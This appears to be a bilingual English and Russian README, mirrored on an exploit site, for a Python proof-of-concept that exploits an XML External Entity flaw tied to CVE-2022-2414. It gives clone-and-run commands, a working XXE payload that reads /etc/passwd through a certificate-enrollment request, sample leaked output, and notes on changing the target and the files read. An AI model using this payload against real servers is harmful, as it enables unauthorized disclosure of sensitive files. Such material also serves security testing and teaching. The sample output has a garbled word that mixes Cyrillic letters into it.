Share
## https://sploitus.com/exploit?id=46DA5D24-964F-5315-AF27-7DEE80F3762B
# EN
**GenXMLExternalEntityExploit** is a PoC script for demonstrating an XML External Entity (XXE) vulnerability exploitation. The script leverages XML payloads to read sensitive files from a target server. This can be useful for security testing, penetration testing, or educational purposes.

## Features
- Sends crafted XML payload to a specified server.
- Exploits XXE vulnerabilities to read server files.
- Easily customizable target URL and payload data.

## How to Use
1. **Clone the Repository**
   ```bash
   git clone https://github.com/geniuszly/CVE-2022-2414
   ```
2. **Navigate to the Directory**
   ```bash
   cd CVE-2022-2414
   ```
3. **Run the Script**
   Make sure you have Python installed on your machine.
   ```bash
   python3 GenXMLExternalEntityExploit.py
   ```

## Configuration
- **TARGET_URL**: Update the `TARGET_URL` variable in the script to point to the target server you want to test.
- **XML_PAYLOAD**: Customize the `XML_PAYLOAD` string in the script for specific file paths or server-side operations.
- **HEADERS**: Modify HTTP headers as necessary.

## Example
By default, the script uses the following payload to read the `/etc/passwd` file:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
```

## Example output
```
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
```

## Disclaimer
This tool is meant for educational purposes and authorized security testing only. The author is not responsible for any illegal use of this tool.


# RU
**GenXMLExternalEntityExploit** — это PoC скрипт для демонстрации эксплуатации уязвимости XML External Entity (XXE). Скрипт использует XML-пейлоад для чтения конфиденциальных файлов с целевого сервера. Может использоваться для тестирования безопасности, проведения пентестов или в образовательных целях.

## Функциональные возможности
- Отправляет сформированный XML-пейлоад на указанный сервер.
- Использует уязвимость XXE для чтения файлов на сервере.
- Легко настраиваемые URL-адрес целевого сервера и содержимое пейлоада.

## Как использовать
1. **Клонируйте репозиторий**
   ```bash
   git clone https://github.com/geniuszly/CVE-2022-2414
   ```
2. **Перейдите в директорию**
   ```bash
   cd CVE-2022-2414
   ```
3. **Запустите скрипт**
   Убедитесь, что у вас установлен Python.
   ```bash
   python3 GenXMLExternalEntityExploit.py
   ```

## Настройки
- **TARGET_URL**: Измените переменную `TARGET_URL` в скрипте на URL-адрес сервера, который вы хотите протестировать.
- **XML_PAYLOAD**: Настройте строку `XML_PAYLOAD` для указания конкретных файлов или операций на стороне сервера.
- **HEADERS**: При необходимости измените HTTP-заголовки.

## Пример
По умолчанию скрипт использует следующий пейлоад для чтения файла `/etc/passwd`:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
```

## Пример вывода
```
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
```

## Отказ от ответственности
Этот инструмент предназначен исключительно для образовательных целей и тестирования безопасности с разрешения. Автор не несет ответственности за любое незаконное использование данного инструмента.